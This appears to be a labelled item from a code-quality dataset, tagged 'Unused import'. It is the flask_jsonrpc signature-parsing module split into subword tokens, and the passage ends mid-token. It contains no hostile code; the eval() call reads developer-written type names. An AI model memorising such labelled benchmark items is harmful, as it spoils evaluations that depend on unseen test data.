[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "-*-", " ", "codi", "ng", ":", " ", "utf", "-", "8", " ", "-*-", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Copy", "right", " ", "(", "c", ")", " ", "200", "9", " ", "Sam", "uel", " ", "Su", "tch", ",", " ", "<", "sam", "@", "su", "tch", ".", "net", ">_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Copy", "right", " ", "(", "c", ")", " ", "2012", "-", "201", "5", ",", " ", "Cen", "obi", "t", " ", "Techno", "logi", "es", ",", " ", "Inc", ".", " ", "http", "://", "cen", "obi", "t", ".", "es", "/_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "All", " ", "rights", " ", "reserve", "d", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Redistributi", "on", " ", "and", " ", "use", " ", "in", " ", "source", " ", "and", " ", "binar", "y", " ", "forms", ",", " ", "with", " ", "or", " ", "with", "out_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "modification", ",", " ", "are", " ", "permit", "ted", " ", "provided", " ", "tha", "t", " ", "the", " ", "follow", "ing", " ", "condition", "s", " ", "are", " ", "met", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "*", " ", "Redistributi", "ons", " ", "of", " ", "source", " ", "code", " ", "must", " ", "retain", " ", "the", " ", "above", " ", "copyr", "ight", " ", "notice", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "this", " ", "list", " ", "of", " ", "condition", "s", " ", "and", " ", "the", " ", "follow", "ing", " ", "discl", "aime", "r", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "*", " ", "Redistributi", "ons", " ", "in", " ", "binar", "y", " ", "form", " ", "must", " ", "reproduce", " ", "the", " ", "above", " ", "copyr", "ight", " ", "notice", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "this", " ", "list", " ", "of", " ", "condition", "s", " ", "and", " ", "the", " ", "follow", "ing", " ", "discl", "aime", "r", " ", "in", " ", "the", " ", "documentation", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "and", "/", "or", " ", "other", " ", "material", "s", " ", "provided", " ", "with", " ", "the", " ", "distribu", "tion", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "*", " ", "Nei", "ther", " ", "the", " ", "name", " ", "of", " ", "the", " ", "Cen", "obi", "t", " ", "Techno", "logi", "es", " ", "nor", " ", "the", " ", "names", " ", "of_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "its", " ", "contributor", "s", " ", "may", " ", "be", " ", "used", " ", "to", " ", "endo", "rse", " ", "or", " ", "promote", " ", "products", " ", "derive", "d", " ", "from_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "this", " ", "software", " ", "with", "out", " ", "specific", " ", "prior", " ", "writt", "en", " ", "permissi", "on", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "THIS", " ", "SOFT", "WARE", " ", "IS", " ", "PROVI", "DED", " ", "BY", " ", "THE", " ", "COPY", "RIG", "HT", " ", "HOLD", "ERS", " ", "AND", " ", "CONTRIB", "UTO", "RS", " ", "\"", "AS", " ", "IS", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "AND", " ", "ANY", " ", "EXPR", "ESS", " ", "OR", " ", "IMPL", "IED", " ", "WAR", "RAN", "TIES", ",", " ", "INC", "LU", "DING", ",", " ", "BUT", " ", "NOT", " ", "LIMIT", "ED", " ", "TO", ",", " ", "THE", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "IMPL", "IED", " ", "WAR", "RAN", "TIES", " ", "OF", " ", "MER", "CHAN", "TAB", "ILI", "TY", " ", "AND", " ", "FIT", "NESS", " ", "FOR", " ", "A", " ", "PARTI", "CUL", "AR", " ", "PUR", "POS", "E_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "ARE", " ", "DISC", "LAI", "MED", ".", " ", "IN", " ", "NO", " ", "EVENT", " ", "SHA", "LL", " ", "THE", " ", "COPY", "RIG", "HT", " ", "HOLD", "ER", " ", "OR", " ", "CONTRIB", "UTO", "RS", " ", "BE_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "LI", "AB", "LE", " ", "FOR", " ", "ANY", " ", "DIRECT", ",", " ", "INDI", "RECT", ",", " ", "INC", "IDENT", "AL", ",", " ", "SPECIAL", ",", " ", "EXE", "MPL", "ARY", ",", " ", "OR_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "CONS", "EQU", "ENTI", "AL", " ", "DA", "MAGE", "S", " ", "(", "INC", "LU", "DING", ",", " ", "BUT", " ", "NOT", " ", "LIMIT", "ED", " ", "TO", ",", " ", "PROC", "URE", "MENT", " ", "OF_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "SUBST", "ITU", "TE", " ", "GOOD", "S", " ", "OR", " ", "SERVICES", ";", " ", "LOSS", " ", "OF", " ", "USE", ",", " ", "DATA", ",", " ", "OR", " ", "PROF", "IT", "S", ";", " ", "OR", " ", "BUS", "INE", "SS_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "INTER", "RU", "PTION", ")", " ", "HO", "WE", "VER", " ", "CAU", "SED", " ", "AND", " ", "ON", " ", "ANY", " ", "THE", "ORY", " ", "OF", " ", "LI", "ABI", "LIT", "Y", ",", " ", "WHE", "THER", " ", "IN_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "CONTR", "ACT", ",", " ", "STRI", "CT", " ", "LI", "ABI", "LIT", "Y", ",", " ", "OR", " ", "TOR", "T", " ", "(", "INC", "LU", "DING", " ", "NEG", "LIG", "ENCE", " ", "OR", " ", "OTHER", "WI", "SE", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "ARI", "SIN", "G", " ", "IN", " ", "ANY", " ", "WAY", " ", "OUT", " ", "OF", " ", "THE", " ", "USE", " ", "OF", " ", "THIS", " ", "SOFT", "WARE", ",", " ", "EVE", "N", " ", "IF", " ", "ADV", "ISE", "D", " ", "OF", " ", "THE", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "POS", "SIB", "ILI", "TY", " ", "OF", " ", "SUC", "H", " ", "DA", "MAGE", "._", "\\u\\u\\uNL\\u\\u\\u_", "import_", "re_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "logging_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "functools_", "import_", "wraps_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "inspect_", "import_", "getargs", "pec_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "flask_", "._", "wrappers_", "import_", "Response_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "flask_", "import_", "current", "\\u", "app_", ",_", "request_", ",_", "jsonify_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "fla", "sk", "\\u", "jsonrpc", "_", "._", "site_", "import_", "jsonrpc", "\\u", "site_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "fla", "sk", "\\u", "jsonrpc", "_", "._", "\\u", "compat_", "import_", "(_", "b_", ",_", "u_", ",_", "text", "\\u", "type_", ",_", "string", "\\u", "types_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Order", "ed", "Dict_", ",_", "Nat", "ive", "String", "IO_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "fla", "sk", "\\u", "jsonrpc", "_", "._", "types_", "import_", "(_", "Object_", ",_", "Number_", ",_", "Boolean_", ",_", "String_", ",_", "Array_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Ni", "l_", ",_", "Any_", ",_", "Type_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "fla", "sk", "\\u", "jsonrpc", "_", "._", "helpers_", "import_", "(_", "make", "\\u", "response_", ",_", "json", "if", "y", "\\u", "status", "\\u", "code_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "extract", "\\u", "raw", "\\u", "data\\u", "request_", ",_", "authenticate_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "fla", "sk", "\\u", "jsonrpc", "_", "._", "exceptions_", "import_", "(_", "Error_", ",_", "Pars", "e", "Error_", ",_", "Inva", "lid", "Request", "Error_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Meth", "od", "Not", "Foun", "d", "Error_", ",_", "Inva", "lid", "Param", "s", "Error_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Server", "Error_", ",_", "Request", "Post", "Error_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Inva", "lid", "Cred", "ential", "s", "Error_", ",_", "Ot", "her", "Error_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "default", "\\u", "site_", "=_", "jsonrpc", "\\u", "site_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "KW", "ARG", "\\u", "RE_", "=_", "re_", "._", "compile_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "r", "'\\\\", "s", "*(", "?", "P", "<", "arg", "\\u", "name", ">[", "a", "-", "z", "A", "-", "Z", "0", "-", "9", "\\u]+", ")\\\\", "s", "*=", "\\\\", "s", "*(", "?", "P", "<", "arg", "\\u", "type", ">[", "a", "-", "z", "A", "-", "Z", "]+)\\\\", "s", "*$'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "SIG", "\\u", "RE_", "=_", "re_", "._", "compile_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "r", "'\\\\", "s", "*(", "?", "P", "<", "method", "\\u", "name", ">[", "a", "-", "z", "A", "-", "Z", "0", "-", "9", ".\\u", "]+)\\\\", "s", "*(", "\\\\((", "?", "P", "<", "args", "\\u", "sig", ">[", "^", ")]", ".*)", "?\\\\", ")'_", "\\u\\u\\uNL\\u\\u\\u_", "r", "'\\\\", "s", "*(", "\\\\", "->", "\\\\", "s", "*(", "?", "P", "<", "return", "\\u", "sig", ">.*)", ")?", ")?", "\\\\", "s", "*$'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "JSONR", "PC", "Type", "Check", "ing", "Una", "vail", "able_", "(_", "Exception_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "type", "\\u", "checking", "\\u", "available_", "(_", "sig_", "=_", "''_", ",_", "validate_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "hasattr_", "(_", "type_", ",_", "'\\u", "\\u", "eq", "\\u\\u'_", ")_", "and_", "validate_", ":_", "#", " ", "and", " ", "Fal", "se", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "JSONR", "PC", "Type", "Check", "ing", "Una", "vail", "able_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Type", " ", "checking", " ", "is", " ", "not", " ", "avail", "able", " ", "in", " ", "your", " ", "version", " ", "of", " ", "Pyth", "on", " ", "'_", "\\u\\u\\uNL\\u\\u\\u_", "'", "whi", "ch", " ", "is", " ", "only", " ", "avail", "able", " ", "in", " ", "Pyth", "on", " ", "2.6", " ", "or", " ", "late", "r", ".", " ", "Us", "e", " ", "Pyth", "on", " ", "2.6", " ", "'_", "\\u\\u\\uNL\\u\\u\\u_", "'", "or", " ", "late", "r", " ", "or", " ", "disable", " ", "type", " ", "checking", " ", "in", " ", "{", "0", "}'_", "._", "format_", "(_", "sig_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "validat", "e\\u", "arg_", "(_", "value_", ",_", "expected_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Return", "s", " ", "whe", "ther", " ", "or", " ", "not", " ", "``", "value", "``", " ", "is", " ", "the", " ", "``", "expected", "``", " ", "type", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "type_", "(_", "value_", ")_", "==_", "expected_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "eval", "\\u", "arg", "\\u", "type_", "(_", "arg", "\\u", "type_", ",_", "T_", "=_", "Any_", ",_", "arg_", "=_", "None_", ",_", "sig_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Return", "s", " ", "a", " ", "type", " ", "from", " ", "a", " ", "snip", "pit", " ", "of", " ", "python", " ", "source", ".", " ", "Sho", "ul", "d", " ", "normal", "ly", " ", "be", "\\", "10", ";", " ", " ", " ", " ", "somet", "hing", " ", "just", " ", "like", " ", "'", "str", "'", " ", "or", " ", "'", "Object", "'.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "arg", "\\u", "type", " ", " ", " ", " ", "the", " ", "source", " ", "to", " ", "be", " ", "evaluate", "d", "\\", "10", ";", " ", " ", " ", " ", "T", " ", " ", " ", "the", " ", "default", " ", "type", "\\", "10", ";", " ", " ", " ", " ", "arg", " ", " ", " ", "context", " ", "of", " ", "where", " ", "this", " ", "type", " ", "was", " ", "extracted", "\\", "10", ";", " ", " ", " ", " ", "sig", " ", " ", " ", "context", " ", "from", " ", "where", " ", "the", " ", "arg", " ", "was", " ", "extracted", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "a", " ", "type", " ", "or", " ", "a", " ", "Type", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "T_", "=_", "eval_", "(_", "arg", "\\u", "type_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Value", "Error_", "(_", "'", "The", " ", "type", " ", "of", " ", "{", "0", "}", " ", "coul", "d", " ", "not", " ", "be", " ", "evaluate", "d", " ", "in", " ", "{", "1", "}", " ", "for", " ", "{", "2", "}:", " ", "{", "3", "}'_", "._", "format_", "(_", "arg", "\\u", "type_", ",_", "arg_", ",_", "sig_", ",_", "text", "\\u", "type_", "(_", "e_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "type_", "(_", "T_", ")_", "not_", "in_", "(_", "type_", ",_", "Type_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Type", "Error_", "(_", "'{", "0", "}", " ", "is", " ", "not", " ", "a", " ", "valid", " ", "type", " ", "in", " ", "{", "1", "}", " ", "for", " ", "{", "2", "}'_", "._", "format_", "(_", "repr_", "(_", "T_", ")_", ",_", "arg_", ",_", "sig_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "T_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "parse", "\\u", "sig_", "(_", "sig_", ",_", "arg", "\\u", "names_", ",_", "validate_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Pars", "es", " ", "signa", "tures", " ", "int", "o", " ", "a", " ", "``", "Order", "ed", "Dict", "``", " ", "of", " ", "param", "Name", " ", "=>", " ", "type", ".", "\\", "10", ";", " ", " ", " ", " ", "Numerical", "ly", "-", "indexe", "d", " ", "argu", "ment", "s", " ", "tha", "t", " ", "do", " ", "not", " ", "correspond", " ", "to", " ", "an", " ", "argu", "ment", "\\", "10", ";", " ", " ", " ", " ", "name", " ", "in", " ", "python", " ", "(", "ie", ":", " ", "it", " ", "take", "s", " ", "a", " ", "variab", "le", " ", "number", " ", "of", " ", "argu", "ment", "s", ")", " ", "will", " ", "be", "\\", "10", ";", " ", " ", " ", " ", "keyed", " ", "as", " ", "the", " ", "string", "ified", " ", "version", " ", "of", " ", "it", "'", "s", " ", "index", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "sig", " ", " ", " ", "the", " ", "signa", "ture", " ", "to", " ", "be", " ", "parsed", "\\", "10", ";", " ", " ", " ", " ", "arg", "\\u", "names", " ", "a", " ", "list", " ", "of", " ", "argu", "ment", " ", "names", " ", "extracted", " ", "from", " ", "python", " ", "source", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "a", " ", "tuple", " ", "of", " ", "(", "method", " ", "name", ",", " ", "types", " ", "dict", ",", " ", "return", " ", "type", ")", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d_", "=_", "SIG", "\\u", "RE_", "._", "match_", "(_", "sig_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "d_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Value", "Error_", "(_", "'", "Inva", "lid", " ", "method", " ", "signa", "ture", " ", "{", "0", "}'_", "._", "format_", "(_", "sig_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "d_", "=_", "d_", "._", "groupdict_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ret_", "=_", "[_", "(_", "n_", ",_", "Any_", ")_", "for_", "n_", "in_", "arg", "\\u", "names_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "text", "\\u", "type_", "(_", "'", "args", "\\u", "sig", "'_", ")_", "in_", "d_", "and_", "type_", "(_", "d_", "[_", "'", "args", "\\u", "sig", "'_", "]_", ")_", "in_", "string", "\\u", "types_", "and_", "d_", "[_", "'", "args", "\\u", "sig", "'_", "]_", "._", "strip_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "i_", ",_", "arg_", "in_", "enumerate_", "(_", "d_", "[_", "'", "args", "\\u", "sig", "'_", "]_", "._", "strip_", "(_", ")_", "._", "split_", "(_", "','_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "type", "\\u", "checking", "\\u", "available_", "(_", "sig_", ",_", "validate_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "text", "\\u", "type_", "(_", "'='_", ")_", "in_", "arg_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "type_", "(_", "ret_", ")_", "is_", "Order", "ed", "Dict_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "ret_", "=_", "Order", "ed", "Dict_", "(_", "ret_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "dk_", "=_", "KW", "ARG", "\\u", "RE_", "._", "match_", "(_", "arg_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "dk_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "raise_", "Value", "Error_", "(_", "'", "Cou", "ld", " ", "not", " ", "parse", " ", "arg", " ", "type", " ", "{", "0", "}", " ", "in", " ", "{", "1", "}'_", "._", "format_", "(_", "arg_", ",_", "sig_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "dk_", "=_", "dk_", "._", "groupdict_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "sum_", "(_", "[_", "(_", "k_", "in_", "dk_", "and_", "type_", "(_", "dk_", "[_", "k_", "]_", ")_", "in_", "string", "\\u", "types_", "and_", "bool_", "(_", "dk_", "[_", "k_", "]_", "._", "strip_", "(_", ")_", ")_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "k_", "in_", "(_", "'", "arg", "\\u", "name", "'_", ",_", "'", "arg", "\\u", "type", "'_", ")_", "]_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "raise_", "Value", "Error_", "(_", "'", "Inva", "lid", " ", "kwarg", " ", "value", " ", "{", "0", "}", " ", "in", " ", "{", "1", "}'_", "._", "format_", "(_", "arg_", ",_", "sig_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "ret_", "[_", "dk_", "[_", "'", "arg", "\\u", "name", "'_", "]_", "]_", "=_", "\\u", "eval", "\\u", "arg", "\\u", "type_", "(_", "dk_", "[_", "'", "arg", "\\u", "type", "'_", "]_", ",_", "None_", ",_", "arg_", ",_", "sig_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "type_", "(_", "ret_", ")_", "is_", "Order", "ed", "Dict_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "raise_", "Value", "Error_", "(_", "'", "Position", "al", " ", "argu", "ment", "s", " ", "must", " ", "occur", " ", "'_", "\\u\\u\\uNL\\u\\u\\u_", "'", "bef", "ore", " ", "keyw", "ord", " ", "argu", "ment", "s", " ", "in", " ", "{", "0", "}'_", "._", "format_", "(_", "sig_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "len_", "(_", "ret_", ")_", "<_", "i_", "+_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "ret_", "._", "append_", "(_", "(_", "text", "\\u", "type_", "(_", "i_", ")_", ",_", "\\u", "eval", "\\u", "arg", "\\u", "type_", "(_", "arg_", ",_", "None_", ",_", "arg_", ",_", "sig_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "ret_", "[_", "i_", "]_", "=_", "(_", "ret_", "[_", "i_", "]_", "[_", "0_", "]_", ",_", "\\u", "eval", "\\u", "arg", "\\u", "type_", "(_", "arg_", ",_", "None_", ",_", "arg_", ",_", "sig_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "type_", "(_", "ret_", ")_", "is_", "Order", "ed", "Dict_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ret_", "=_", "Order", "ed", "Dict_", "(_", "ret_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "(_", "d_", "[_", "'", "method", "\\u", "name", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "ret_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "\\u", "eval", "\\u", "arg", "\\u", "type_", "(_", "d_", "[_", "'", "return", "\\u", "sig", "'_", "]_", ",_", "Any_", ",_", "'", "return", "'_", ",_", "sig_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "d_", "[_", "'", "return", "\\u", "sig", "'_", "]_", "else_", "Any_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "inject", "\\u", "args_", "(_", "sig_", ",_", "types_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "A", " ", "function", " ", "to", " ", "inject", " ", "argu", "ment", "s", " ", "manu", "ally", " ", "int", "o", " ", "a", " ", "method", " ", "signa", "ture", " ", "bef", "ore", "\\", "10", ";", " ", " ", " ", " ", "it", "'", "s", " ", "bee", "n", " ", "parsed", ".", " ", "If", " ", "usi", "ng", " ", "keyw", "ord", " ", "argu", "ment", "s", " ", "use", " ", "'", "kw", "=", "type", "'", " ", "inst", "ead", " ", "in", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "types", " ", "array", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "sig", " ", " ", " ", " ", " ", "the", " ", "string", " ", "signa", "ture", "\\", "10", ";", " ", " ", " ", " ", "types", " ", " ", " ", "a", " ", "list", " ", "of", " ", "types", " ", "to", " ", "be", " ", "inserted", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "the", " ", "alter", "ed", " ", "signa", "ture", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'('_", "in_", "sig_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "parts_", "=_", "sig_", "._", "split_", "(_", "'('_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sig_", "=_", "'{", "0", "}(", "{", "1", "}{", "2", "}{", "3", "}'_", "._", "format_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "parts_", "[_", "0_", "]_", ",_", "',", " ", "'_", "._", "join_", "(_", "types_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "',", " ", "'_", "if_", "parts_", "[_", "1_", "]_", "._", "index_", "(_", "')'_", ")_", ">_", "0_", "else_", "''_", ")_", ",_", "parts_", "[_", "1_", "]_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sig_", "=_", "'{", 